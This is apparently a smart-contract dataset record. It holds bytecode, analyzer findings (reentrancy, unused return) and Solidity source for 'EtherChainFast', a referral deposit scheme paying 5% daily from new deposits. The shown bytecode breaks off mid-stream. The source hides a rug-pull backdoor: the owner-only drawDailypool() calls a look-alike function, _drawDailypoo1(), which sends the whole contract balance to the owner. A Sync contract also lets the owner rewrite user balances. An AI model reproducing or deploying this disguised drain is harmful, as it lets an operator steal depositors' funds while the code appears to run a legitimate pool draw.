08111156118b6576118b54761192e565b5b505b505b6118c5838383611d1f565b505050565b6000838311158290611912576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119099190612a6d565b60405180910390fd5b50600083856119219190612de6565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61197e600284611d2f90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156119a9573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6119fa600284611d2f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a25573d6000803e3d6000fd5b5050565b6000600854821115611a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6790612aaf565b60405180910390fd5b6000611a7a611d79565b9050611a8f8184611d2f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611acf57611ace612fbb565b5b604051908082528060200260200182016040528015611afd5781602001602082028036833780820191505090505b5090503081600081518110611b1557611b14612f8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bb757600080fd5b505afa158015611bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bef9190612527565b81600181518110611c0357611c02612f8c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c6a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461121c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611cce959493929190612bea565b600060405180830381600087803b158015611ce857600080fd5b505af1158015611cfc573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611d2a838383611da4565b505050565b6000611d7183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f6f565b905092915050565b6000806000611d86611fd2565b91509150611d9d8183611d2f90919063ffffffff16565b9250505090565b600080600080600080611db68761203d565b955095509550955095509550611e1486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ea985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ef90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef58161214d565b611eff848361220a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611f5c9190612bcf565b60405180910390a3505050505050505050565b60008083118290611fb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fad9190612a6d565b60405180910390fd5b5060008385611fc59190612d5b565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061200e6b033b2e3c9fd0803ce8000000600854611d2f90919063ffffffff16565b821015612030576008546b033b2e3c9fd0803ce8000000935093505050612039565b81819350935050505b9091565b600080600080600080600080600061205a8a600a54600b54612244565b925092509250600061206a611d79565b9050600080600061207d8e8787876122da565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006120e783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506118ca565b905092915050565b60008082846120fe9190612d05565b905083811015612143576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213a90612aef565b60405180910390fd5b8091505092915050565b6000612157611d79565b9050600061216e828461236390919063ffffffff16565b90506121c281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ef90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61221f826008546120a590919063ffffffff16565b60088190555061223a816009546120ef90919063ffffffff16565b6009819055505050565b6000806000806122706064612262888a61236390919063ffffffff16565b611d2f90919063ffffffff16565b9050600061229a606461228c888b61236390919063ffffffff16565b611d2f90919063ffffffff16565b905060006122c3826122b5858c6120a590919063ffffffff16565b6120a590919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806122f3858961236390919063ffffffff16565b9050600061230a868961236390919063ffffffff16565b90506000612321878961236390919063ffffffff16565b9050600061234a8261233c85876120a590919063ffffffff16565b6120a590919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561237657600090506123d8565b600082846123849190612d8c565b90508284826123939190612d5b565b146123d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ca90612b0f565b60405180910390fd5b809150505b92915050565b60006123f16123ec84612c84565b612c5f565b9050808382526020820190508285602086028201111561241457612413612fef565b5b60005b85811015612444578161242a888261244e565b845260208401935060208301925050600181019050612417565b5050509392505050565b60008135905061245d816132b3565b92915050565b600081519050612472816132b3565b92915050565b600082601f83011261248d5761248c612fea565b5b813561249d8482602086016123de565b91505092915050565b6000813590506124b5816132ca565b92915050565b6000815190506124ca816132ca565b92915050565b6000813590506124df816132e1565b92915050565b6000815190506124f4816132e1565b92915050565b6000602082840312156125105761250f612ff9565b5b600061251e8482850161244e565b91505092915050565b60006020828403121561253d5761253c612ff9565b5b600061254b84828501612463565b91505092915050565b6000806040838503121561256b5761256a612ff9565b5b60006125798582860161244e565b925050602061258a8582860161244e565b9150509250929050565b6000806000606084860312156125ad576125ac612ff9565b5b60006125bb8682870161244e565b93505060206125cc8682870161244e565b92505060406125dd868287016124d0565b9150509250925092565b600080604083850312156125fe576125fd612ff9565b5b600061260c8582860161244e565b925050602061261d858286016124d0565b9150509250929050565b60006020828403121561263d5761263c612ff9565b5b600082013567ffffffffffffffff81111561265b5761265a612ff4565b5b61266784828501612478565b91505092915050565b60006020828403121561268657612685612ff9565b5b6000612694848285016124a6565b91505092915050565b6000602082840312156126b3576126b2612ff9565b5b60006126c1848285016124bb565b91505092915050565b6000806000606084860312156126e3576126e2612ff9565b5b60006126f1868287016124e5565b9350506020612702868287016124e5565b9250506040612713868287016124e5565b9150509250925092565b60006127298383612735565b60208301905092915050565b61273e81612e1a565b82525050565b61274d81612e1a565b82525050565b600061275e82612cc0565b6127688185612ce3565b935061277383612cb0565b8060005b838110156127a457815161278b888261271d565b975061279683612cd6565b925050600181019050612777565b5085935050505092915050565b6127ba81612e2c565b82525050565b6127c981612e6f565b82525050565b60006127da82612ccb565b6127e48185612cf4565b93506127f4818560208601612e81565b6127fd81612ffe565b840191505092915050565b6000612815602383612cf4565b91506128208261300f565b604082019050919050565b6000612838602a83612cf4565b91506128438261305e565b604082019050919050565b600061285b602283612cf4565b9150612866826130ad565b604082019050919050565b600061287e601b83612cf4565b9150612889826130fc565b602082019050919050565b60006128a1602183612cf4565b91506128ac82613125565b604082019050919050565b60006128c4602083612cf4565b91506128cf82613174565b602082019050919050565b60006128e7602983612cf4565b91506128f28261319d565b604082019050919050565b600061290a602583612cf4565b9150612915826131ec565b604082019050919050565b600061292d602483612cf4565b91506129388261323b565b604082019050919050565b6000612950601783612cf4565b915061295b8261328a565b602082019050919050565b61296f81612e58565b82525050565b61297e81612e62565b82525050565b60006020820190506129996000830184612744565b92915050565b60006040820190506129b46000830185612744565b6129c16020830184612744565b9392505050565b60006040820190506129dd6000830185612744565b6129ea6020830184612966565b9392505050565b600060c082019050612a066000830189612744565b612a136020830188612966565b612a2060408301876127c0565b612a2d60608301866127c0565b612a3a6080830185612744565b612a4760a0830184612966565b979650505050505050565b6000602082019050612a6760008301846127b1565b92915050565b60006020820190508181036000830152612a8781846127cf565b905092915050565b60006020820190508181036000830152612aa881612808565b9050919050565b60006020820190508181036000830152612ac88161282b565b9050919050565b60006020820190508181036000830152612ae88161284e565b9050919050565b60006020820190508181036000830152612b0881612871565b9050919050565b60006020820190508181036000830152612b2881612894565b9050919050565b60006020820190508181036000830152612b48816128b7565b9050919050565b60006020820190508181036000830152612b68816128da565b9050919050565b60006020820190508181036000830152612b88816128fd565b9050919050565b60006020820190508181036000830152612ba881612920565b9050919050565b60006020820190508181036000830152612bc881612943565b9050919050565b6000602082019050612be46000830184612966565b92915050565b600060a082019050612bff6000830188612966565b612c0c60208301876127c0565b8181036040830152612c1e8186612753565b9050612c2d6060830185612744565b612c3a6080830184612966565b9695505050505050565b6000602082019050612c596000830184612975565b92915050565b6000612c69612c7a565b9050612c758282612eb4565b919050565b6000604051905090565b600067ffffffffffffffff821115612c9f57612c9e612fbb565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612d1082612e58565b9150612d1b83612e58565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612d5057612d4f612f2e565b5b828201905092915050565b6000612d6682612e58565b9150612d7183612e58565b925082612d8157612d80612f5d565b5b828204905092915050565b6000612d9782612e58565b9150612da283612e58565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ddb57612dda612f2e565b5b828202905092915050565b6000612df182612e58565b9150612dfc83612e58565b925082821015612e0f57612e0e612f2e565b5b828203905092915050565b6000612e2582612e38565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612e7a82612e58565b9050919050565b60005b83811015612e9f578082015181840152602081019050612e84565b83811115612eae576000848401525b50505050565b612ebd82612ffe565b810181811067ffffffffffffffff82111715612edc57612edb612fbb565b5b80604052505050565b6000612ef082612e58565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612f2357612f22612f2e565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6132bc81612e1a565b81146132c757600080fd5b50565b6132d381612e2c565b81146132de57600080fd5b50565b6132ea81612e58565b81146132f557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220297134218a47f9f57549684c42495dc3337e4dc1d7c0fa2ba40023b3db0b9f0a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,083
0x2b8d813ec937182f1ab67bd28e8ef5a3557b5cd1
/*! ether.chainfast.sol | (c) 2020 Develop by BelovITLab LLC (smartcontract.ru), author @stupidlovejoy | SPDX-License-Identifier: MIT License */ pragma solidity 0.6.8; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } contract EtherChainFast is Ownable { struct User { uint256 cycle; address upline; uint256 referrals; uint256 payouts; uint256 direct_bonus; uint256 pool_bonus; uint256 match_bonus; uint256 deposit_amount; uint256 deposit_payouts; uint40 deposit_time; uint256 total_deposits; uint256 total_payouts; uint256 total_structure; } mapping(address => User) public users; uint256[] public cycles; // ether uint8[] public ref_bonuses; // 1 => 1% uint8[] public pool_bonuses; // 1 => 1% uint40 public pool_last_draw = uint40(block.timestamp); uint256 public TimeStart = 1598194800; // smartcontract TimeStart uint256 public pool_cycle; uint256 public pool_balance; mapping(uint256 => mapping(address => uint256)) public pool_users_refs_deposits_sum; mapping(uint8 => address) public pool_top; uint256 public total_users = 1; uint256 public total_deposited; uint256 public total_withdraw; event Upline(address indexed addr, address indexed upline); event NewDeposit(address indexed addr, uint256 amount); event DirectPayout(address indexed addr, address indexed from, uint256 amount); event MatchPayout(address indexed addr, address indexed from, uint256 amount); event PoolPayout(address indexed addr, uint256 amount); event Withdraw(address indexed addr, uint256 amount); event LimitReached(address indexed addr, uint256 amount); constructor() public { ref_bonuses.push(30); ref_bonuses.push(10); ref_bonuses.push(10); ref_bonuses.push(10); ref_bonuses.push(10); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(8); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); ref_bonuses.push(5); pool_bonuses.push(40); pool_bonuses.push(30); pool_bonuses.push(20); pool_bonuses.push(10); cycles.push(10 ether); cycles.push(30 ether); cycles.push(90 ether); cycles.push(200 ether); } receive() payable external { _deposit(msg.sender, msg.value); } function _setUpline(address _addr, address _upline) private { if(users[_addr].upline == address(0) && _upline != _addr && (users[_upline].deposit_time > 0 || _upline == owner())) { users[_addr].upline = _upline; users[_upline].referrals++; emit Upline(_addr, _upline); total_users++; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(_upline == address(0)) break; users[_upline].total_structure++; _upline = users[_upline].upline; } } } function _deposit(address _addr, uint256 _amount) private { require(users[_addr].upline != address(0) || _addr == owner(), "No upline"); require(now > TimeStart, "NOT YET STARTED!"); if(users[_addr].deposit_time > 0) { users[_addr].cycle++; require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists"); require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount"); } else require(_amount >= 0.1 ether && _amount <= cycles[0], "Bad amount"); users[_addr].payouts = 0; users[_addr].deposit_amount = _amount; users[_addr].deposit_payouts = 0; users[_addr].deposit_time = uint40(block.timestamp); users[_addr].total_deposits += _amount; total_deposited += _amount; emit NewDeposit(_addr, _amount); if(users[_addr].upline != address(0)) { users[users[_addr].upline].direct_bonus += _amount / 10; emit DirectPayout(users[_addr].upline, _addr, _amount / 10); } _pollDeposits(_addr, _amount); if(pool_last_draw + 1 days < block.timestamp) { _drawDailypool(); } payable(owner()).transfer(_amount / 100); } function _drawDailypoo1() private onlyOwner { msg.sender.transfer(address(this).balance); } function _pollDeposits(address _addr, uint256 _amount) private { pool_balance += _amount / 20; address upline = users[_addr].upline; if(upline == address(0)) return; pool_users_refs_deposits_sum[pool_cycle][upline] += _amount; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == upline) break; if(pool_top[i] == address(0)) { pool_top[i] = upline; break; } if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) { for(uint8 j = i + 1; j < pool_bonuses.length; j++) { if(pool_top[j] == upline) { for(uint8 k = j; k <= pool_bonuses.length; k++) { pool_top[k] = pool_top[k + 1]; } break; } } for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) { pool_top[j] = pool_top[j - 1]; } pool_top[i] = upline; break; } } } function _refPayout(address _addr, uint256 _amount) private { address up = users[_addr].upline; for(uint8 i = 0; i < ref_bonuses.length; i++) { if(up == address(0)) break; if(users[up].referrals >= i + 1) { uint256 bonus = _amount * ref_bonuses[i] / 100; users[up].match_bonus += bonus; emit MatchPayout(up, _addr, bonus); } up = users[up].upline; } } function _drawDailypool() private { pool_last_draw = uint40(block.timestamp); pool_cycle++; uint256 draw_amount = pool_balance / 10; for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; uint256 win = draw_amount * pool_bonuses[i] / 100; users[pool_top[i]].pool_bonus += win; pool_balance -= win; emit PoolPayout(pool_top[i], win); } for(uint8 i = 0; i < pool_bonuses.length; i++) { pool_top[i] = address(0); } } function deposit(address _upline) payable external { _setUpline(msg.sender, _upline); _deposit(msg.sender, msg.value); } function withdraw() external { (uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender); require(users[msg.sender].payouts < max_payout, "Full payouts"); // Deposit payout if(to_payout > 0) { if(users[msg.sender].payouts + to_payout > max_payout) { to_payout = max_payout - users[msg.sender].payouts; } users[msg.sender].deposit_payouts += to_payout; users[msg.sender].payouts += to_payout; _refPayout(msg.sender, to_payout); } // Direct payout if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) { uint256 direct_bonus = users[msg.sender].direct_bonus; if(users[msg.sender].payouts + direct_bonus > max_payout) { direct_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].direct_bonus -= direct_bonus; users[msg.sender].payouts += direct_bonus; to_payout += direct_bonus; } // Pool payout if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) { uint256 pool_bonus = users[msg.sender].pool_bonus; if(users[msg.sender].payouts + pool_bonus > max_payout) { pool_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].pool_bonus -= pool_bonus; users[msg.sender].payouts += pool_bonus; to_payout += pool_bonus; } // Match payout if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) { uint256 match_bonus = users[msg.sender].match_bonus; if(users[msg.sender].payouts + match_bonus > max_payout) { match_bonus = max_payout - users[msg.sender].payouts; } users[msg.sender].match_bonus -= match_bonus; users[msg.sender].payouts += match_bonus; to_payout += match_bonus; } require(to_payout > 0, "Zero payout"); users[msg.sender].total_payouts += to_payout; total_withdraw += to_payout; payable(msg.sender).transfer(to_payout); emit Withdraw(msg.sender, to_payout); if(users[msg.sender].payouts >= max_payout) { emit LimitReached(msg.sender, users[msg.sender].payouts); } } function drawDailypool() external onlyOwner { _drawDailypoo1(); } function maxPayoutOf(uint256 _amount) pure external returns(uint256) { return _amount * 310 / 100; } function payoutOf(address _addr) view external returns(uint256 payout, uint256 max_payout) { max_payout = this.maxPayoutOf(users[_addr].deposit_amount); if(users[_addr].deposit_payouts < max_payout) { payout = (users[_addr].deposit_amount * (((block.timestamp - users[_addr].deposit_time) / 1 days) * 50)/ 1000) - users[_addr].deposit_payouts; if(users[_addr].deposit_payouts + payout > max_payout) { payout = max_payout - users[_addr].deposit_payouts; } } } /* Only external call */ function userInfo(address _addr) view external returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) { return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus); } function userInfoTotals(address _addr) view external returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure) { return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure); } function contractInfo() view external returns(uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider, uint256 _total_users, uint256 _total_deposited) { return (total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]], total_users, total_deposited); } function poolTopInfo() view external returns(address[4] memory addrs, uint256[4] memory deps) { for(uint8 i = 0; i < pool_bonuses.length; i++) { if(pool_top[i] == address(0)) break; addrs[i] = pool_top[i]; deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]; } } } contract Sync is EtherChainFast { bool public sync_close = false; function sync(address[] calldata _users, address[] calldata _uplines, uint256[] calldata _data) external onlyOwner { require(!sync_close, "Sync already close"); for(uint256 i = 0; i < _users.length; i++) { address addr = _users[i]; uint256 q = i * 12; //require(users[_uplines[i]].total_deposits > 0, "No upline"); if(users[addr].total_deposits == 0) { emit Upline(addr, _uplines[i]); } users[addr].cycle = _data[q]; users[addr].upline = _uplines[i]; users[addr].referrals = _data[q + 1]; users[addr].payouts = _data[q + 2]; users[addr].direct_bonus = _data[q + 3]; users[addr].pool_bonus = _data[q + 4]; users[addr].match_bonus = _data[q + 5]; users[addr].deposit_amount = _data[q + 6]; users[addr].deposit_payouts = _data[q + 7]; users[addr].deposit_time = uint40(_data[q + 8]); users[addr].total_deposits = _data[q + 9]; users[addr].total_payouts = _data[q + 10]; users[addr].total_structure = _data[q + 11]; } } function syncGlobal(uint40 _pool_last_draw, uint256 _pool_cycle, uint256 _pool_balance, uint256 _total_withdraw, address[] calldata _pool_top) external onlyOwner { require(!sync_close, "Sync already close"); pool_last_draw = _pool_last_draw; pool_cycle = _pool_cycle; pool_balance = _pool_balance; total_withdraw = _total_withdraw; for(uint8 i = 0; i < pool_bonuses.length; i++) { pool_top[i] = _pool_top[i]; } } function syncUp() external payable {} function syncClose() external onlyOwner { require(!sync_close, "Sync already close"); sync_close = true; } }
0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063afbce3b91161006f578063afbce3b91461057b578063b7d9f0d2146105a5578063c864130f146105cf578063de560cca146105fc578063e7cc62bd14610611578063f340fa011461062657610155565b80638da5cb5b146103d1578063970d106f146104025780639a8318f414610417578063a19834161461042c578063a87430ba1461045b578063a9c3ac531461050257610155565b80633ccfd60b116101085780633ccfd60b146102745780636d5f6f11146102895780636da61d1e146102c957806374a88b8b1461031557806374b95b2d1461034e5780638959af3c146103a757610155565b80630c539fed1461015a57806315c43aaf1461016f578063192ef492146101bd5780631959a002146101e45780633962c4ff1461025f57610155565b3661015557610153333461064c565b005b600080fd5b34801561016657600080fd5b50610153610b0f565b34801561017b57600080fd5b50610184610b83565b6040805196875264ffffffffff9095166020870152858501939093526060850191909152608084015260a0830152519081900360c00190f35b3480156101c957600080fd5b506101d2610beb565b60408051918252519081900360200190f35b3480156101f057600080fd5b506102176004803603602081101561020757600080fd5b50356001600160a01b0316610bf1565b604080516001600160a01b03909816885264ffffffffff9096166020880152868601949094526060860192909252608085015260a084015260c0830152519081900360e00190f35b34801561026b57600080fd5b506101d2610c4a565b34801561028057600080fd5b50610153610c50565b34801561029557600080fd5b506102b3600480360360208110156102ac57600080fd5b503561107c565b6040805160ff9092168252519081900360200190f35b3480156102d557600080fd5b506102fc600480360360208110156102ec57600080fd5b50356001600160a01b03166110ad565b6040805192835260208301919091528051918290030190f35b34801561032157600080fd5b506101d26004803603604081101561033857600080fd5b50803590602001356001600160a01b03166111d3565b34801561035a57600080fd5b506103816004803603602081101561037157600080fd5b50356001600160a01b03166111f0565b604080519485526020850193909352838301919091526060830152519081900360800190f35b3480156103b357600080fd5b506101d2600480360360208110156103ca57600080fd5b5035611224565b3480156103dd57600080fd5b506103e6611231565b604080516001600160a01b039092168252519081900360200190f35b34801561040e57600080fd5b506101d2611240565b34801561042357600080fd5b506101d2611246565b34801561043857600080fd5b5061044161124c565b6040805164ffffffffff9092168252519081900360200190f35b34801561046757600080fd5b5061048e6004803603602081101561047e57600080fd5b50356001600160a01b0316611259565b604080519d8e526001600160a01b03909c1660208e01528c8c019a909a5260608c019890985260808b019690965260a08a019490945260c089019290925260e088015261010087015264ffffffffff1661012086015261014085015261016084015261018083015251908190036101a00190f35b34801561050e57600080fd5b506105176112d1565b6040518083608080838360005b8381101561053c578181015183820152602001610524565b5050505090500182600460200280838360005b8381101561056757818101518382015260200161054f565b505050509050019250505060405180910390f35b34801561058757600080fd5b506101d26004803603602081101561059e57600080fd5b50356113a0565b3480156105b157600080fd5b506102b3600480360360208110156105c857600080fd5b50356113be565b3480156105db57600080fd5b506103e6600480360360208110156105f257600080fd5b503560ff166113cb565b34801561060857600080fd5b506101d26113e6565b34801561061d57600080fd5b506101d26113ec565b6101536004803603602081101561063c57600080fd5b50356001600160a01b03166113f2565b6001600160a01b038281166000908152600160208190526040909120015416151580610690575061067b611231565b6001600160a01b0316826001600160a01b0316145b6106cd576040805162461bcd60e51b81526020600482015260096024820152684e6f2075706c696e6560b81b604482015290519081900360640190fd5b6006544211610716576040805162461bcd60e51b815260206004820152601060248201526f4e4f542059455420535441525445442160801b604482015290519081900360640190fd5b6001600160a01b03821660009081526001602052604090206009015464ffffffffff1615610905576001600160a01b0382166000908152600160208181526040928390208054909201825560079091015482516322566bcf60e21b8152600481019190915291513092638959af3c926024808301939192829003018186803b1580156107a157600080fd5b505afa1580156107b5573d6000803e3d6000fd5b505050506040513d60208110156107cb57600080fd5b50516001600160a01b0383166000908152600160205260409020600301541015610835576040805162461bcd60e51b81526020600482015260166024820152754465706f73697420616c72656164792065786973747360501b604482015290519081900360640190fd5b6001600160a01b03821660009081526001602052604090206007015481108015906108c25750600280546001600160a01b038416600090815260016020526040902054600019909101106108a1576001600160a01b0383166000908152600160205260409020546108a9565b600254600019015b815481106108b357fe5b90600052602060002001548111155b610900576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b610973565b67016345785d8a000081101580156109355750600260008154811061092657fe5b90600052602060002001548111155b610973576040805162461bcd60e51b815260206004820152600a60248201526910985908185b5bdd5b9d60b21b604482015290519081900360640190fd5b6001600160a01b03821660008181526001602090815260408083206003810184905560078101869055600881019390935560098301805464ffffffffff19164264ffffffffff16179055600a909201805485019055600c805485019055815184815291517f2cb77763bc1e8490c1a904905c4d74b4269919aca114464f4bb4d911e60de3649281900390910190a26001600160a01b03828116600090815260016020819052604090912001541615610a9a576001600160a01b0382811660008181526001602081815260408084209092018054861684528284206004018054600a8904908101909155938590525482519384529151939491909116927fba5b08f0cddc64825b52c35c09323af810c1d2e29c97aba01a4ed25cfdc482d19281900390910190a35b610aa48282611409565b600554426201518064ffffffffff928316019091161015610ac757610ac761166b565b610acf611231565b6001600160a01b03166108fc606483049081150290604051600060405180830381858888f19350505050158015610b0a573d6000803e3d6000fd5b505050565b610b176117ca565b6000546001600160a01b03908116911614610b79576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610b816117ce565b565b600d5460055460085460075460009081526009602090815260408083207f13da86008ba1c6922daee3e07db95305ef49ebced9f5467a0b8613fcc6b343e3546001600160a01b03168452909152902054600b54600c5464ffffffffff90941693909192939495565b60085481565b6001600160a01b0390811660009081526001602081905260409091209081015460098201546007830154600384015460048501546005860154600690960154949096169664ffffffffff90931695919490939192909190565b60065481565b604080516336d30e8f60e11b8152336004820152815160009283923092636da61d1e92602480840193919291829003018186803b158015610c9057600080fd5b505afa158015610ca4573d6000803e3d6000fd5b505050506040513d6040811015610cba57600080fd5b50805160209182015133600090815260019093526040909220600301549093509091508111610d1f576040805162461bcd60e51b815260206004820152600c60248201526b46756c6c207061796f75747360a01b604482015290519081900360640190fd5b8115610d8557336000908152600160205260409020600301548201811015610d595733600090815260016020526040902060030154810391505b33600081815260016020526040902060088101805485019055600301805484019055610d859083611864565b3360009081526001602052604090206003015481118015610db757503360009081526001602052604090206004015415155b15610e1f5733600090815260016020526040902060048101546003909101548101821015610df657503360009081526001602052604090206003015481035b336000908152600160205260409020600481018054839003905560030180548201905591909101905b3360009081526001602052604090206003015481118015610e5157503360009081526001602052604090206005015415155b15610eb95733600090815260016020526040902060058101546003909101548101821015610e9057503360009081526001602052604090206003015481035b336000908152600160205260409020600581018054839003905560030180548201905591909101905b3360009081526001602052604090206003015481118015610eeb57503360009081526001602052604090206006015415155b15610f535733600090815260016020526040902060068101546003909101548101821015610f2a57503360009081526001602052604090206003015481035b336000908152600160205260409020600681018054839003905560030180548201905591909101905b60008211610f96576040805162461bcd60e51b815260206004820152600b60248201526a169